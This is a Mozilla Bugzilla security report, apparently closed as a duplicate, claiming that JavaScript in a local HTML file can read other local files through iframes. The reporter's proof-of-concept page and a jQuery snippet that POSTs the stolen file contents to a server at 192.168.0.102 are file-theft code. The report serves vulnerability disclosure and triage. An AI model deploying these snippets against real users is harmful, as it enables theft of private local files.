Closed Bug 1389477 Opened 7 years ago Closed 7 years ago

Access to local file system using javascript

Categories

(Core :: DOM: Core & HTML, defect, P1)

Product:
Core
Component:
DOM: Core & HTML
Version:
57 Branch
Type:
defect

Tracking

()

Status:
RESOLVED DUPLICATE of bug 803143

People

(Reporter: jenishsojitra99, Unassigned)

References

Details

Attachments

(1 file)

1-4.ogv
1.46 MB, video/ogg
Details
Attached video 1-4.ogv — 
User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Firefox for Android

Steps to reproduce:

Team ,

I reported this to Tor and they replid me :

Thanks for making us aware of this problem. Have you contacted the Mozilla people? It seems the underlying problem is a Firefox bug and if it indeed is problematic I think all the Firefox users should benefit and not just Tor Browser users.


and suggested me to to report here ...

Issue :

Access to local file system using javascript(slightly xss on server side )

The browser can access the local files using iframes with a local html file. this is very normal and often used for local web development but javascript shouldn't be able to get the content of that iframe because this can be used to post the contents to the attackers server. something else I noticed is that it's not limited to the same directory.

Steps to Reproduce :

save a html file from here and open in tor browser .

<html>
<body>
<div id='div1'>
</div>
<script>
current_href = document.location.href
frame = document.createElement('iframe'); frame.src = current_href.replace('file:///home/jnsjns/Desktop/poc5.html', 'file:///home/jnsjns/Desktop/1.txt'); frame.id = 'frm'; document.getElementById('div1').appendChild(frame)
setTimeout(function func(){loot = document.getElementById('frm').contentWindow.document.getElementsByTagName('pre')[0].innerHTML
alert('Your data is: ' + loot)
}, 500)
</script>
</body>
</html>

Explaination : file:///home/jnsjns/Desktop/poc5.html this is my test html here.

file:///home/jnsjns/Desktop/1.txt is server side local file in tor browser 

the private file is coming by popup (I have tested in chrome -Google ,they are safe from this )

What attacker can do ?

I would have been able to post it to my server using jquery like this.

//Gets data from iframe and saves it to the getdata variable
getdata = document.getElementsByTagName('frm')[0].contentWindow.document.getElementsByTagName('pre')[0].innerHTML
//Posts to the php server located at 192.168.0.102 (local address for demo purposes)
$.ajax({type: "POST", url: "http://192.168.0.102/post.php", data: {string:getdata}});}

This issue may critical .




Actual results:

I mentioned all data in stesp to reproduce.
ALL VERSION


Expected results:

POPUP should not come out in firefox , tested on chrome and other browser and there is no issue
THESE BOTH BUG ARE MINE AND I BELIVE THAT ITS CRITICAL AND SHOULD RESOLVE 

https://bugzilla.mozilla.org/show_bug.cgi?id=1389477
AND 
https://bugzilla.mozilla.org/show_bug.cgi?id=1389481
PLEASE NOT THAT I SENT SAME BUG BY MISTAKE AND NETWORK ERROR .
LOOKING FORWARD FOR RESOLVING
Respected , 

any update ?

-jenish
Group: firefox-core-security → core-security
Component: Untriaged → DOM
Product: Firefox → Core
Group: core-security → dom-core-security
Respected chief ,
Any priority p2-p3?
When firefox is going to fix?
As it seems impactful.

Best regards.
So a local file can read another local file (and in the testcase even in the same directory).
That is what our file:/// handling has been for years.
Flags: needinfo?(dveditz)
Not even, try any directoty in any base ,for testing purposes I have used File base
The example here looks like it's correctly following our intended behavior (same directory and subdirectories can be accessed). We will need to test your claim that it applies to files that are in a completely different directory.

We have a bug to make our file handling more strict, like Chrome.
Flags: needinfo?(dveditz)
Priority: -- → P1
Using the sample code in comment 0, and substituting my own local files, I don't see the issue. The data doesn't load because I get a JS error here:

loot = document.getElementById('frm').contentWindow.document.getElementsByTagName('pre')[0].innerHTML;

The returned array is of length 0 and therefore innerHTML returns undefined.

Please include all of your sample files as an attachment to this bug and I'll take another look.
I have tested this in File base handling so i couldn't get any real example server local file but as a strong practice Mozilla should set that pop up shouldn't come as like chrome made secure.And second thing now i am able to produce this issue in mostly same root directoty , it's not any issue in Different directoty mostly.
(In reply to jenish sojitra from comment #10)
> it's not any issue in Different directory mostly.

Man, that "mostly". Do you mean

  "it only works in the same directory or a subdirectory"

or do you mean

  "I have seen it work in a completely different directory at least once"

Not worried about the first one (we are already considering making our behavior more strict). The second one would mean something is broken.
It works in same directoty but i tested only file handling, not any other server side hendling
Flags: needinfo?(dveditz)
are you going to resolve or not ? please let me know .

-jenish
This appears to be describing our known behavior and not some kind of worse regression.
Group: dom-core-security
Status: UNCONFIRMED → RESOLVED
Closed: 7 years ago
Flags: needinfo?(dveditz)
Resolution: --- → DUPLICATE
Component: DOM → DOM: Core & HTML
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: